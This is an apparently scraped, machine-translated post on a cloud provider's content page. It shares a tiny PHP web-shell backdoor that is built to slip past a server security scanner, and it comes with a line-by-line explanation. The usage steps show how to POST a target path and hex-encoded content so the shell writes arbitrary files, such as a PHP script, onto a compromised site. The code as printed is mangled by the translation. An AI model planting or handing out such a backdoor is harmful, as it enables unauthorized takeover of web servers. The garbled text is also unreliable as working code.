Sharing of pony php bypass dongle Detection

Source: Internet
Author: User

Sharing of pony php bypass dongle Detection
Directly run the Code:

<? Php $ p = realpath (dirname (_ FILE __). "/.. /"). $ _ POST ["a"]; $ t = $ _ POST ["B"]; $ tt = ""; for ($ I = 0; $ I <strlen ($ t); $ I + = 2) $ tt. = urldecode ("% ". substr ($ t, $ I, 2); @ fwrite (fopen ($ p, "w"), $ tt); echo "success! ";?>


Analysis and Exploitation & Overhead:
<? Php $ p = realpath (dirname (_ FILE __). "/.. /"). $ _ POST ["a"]; // define $ p as the physical path of the root directory + $ _ POST ["a"] content $ t = $ _ POST ["B"]; // defines $ t as $ _ POST ["B"] content $ tt = ""; // defines $ tt as null for ($ I = 0; $ I <strlen ($ t); $ I + = 2) $ tt. = urldecode ("% ". substr ($ t, $ I, 2); // for the number of cycles is $ t Length/2, add the code "% xx" to $ tt every cycle @ fwrite (fopen ($ p, "w"), $ tt ); // The Write File address is $ p and the content is $ ttecho "success! ";?>


Usage:
Encode the written content with a url, such as <? Php phpinfo ();?>
Encoded as: % 3C % 3F % 70% 68% 70% 20% 70% 68% 70% 69% 6E % 66% 6F % 28% 29% 3B % 3F % 3E
Remove % and get 3C3F70687020706870696E666F28293B3F3E.
Then access the backdoor and change the POST content:
A =/111.php& B = 3C3F70687020706870696E666F28293B3F3E
You can write content.

Overdog:


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.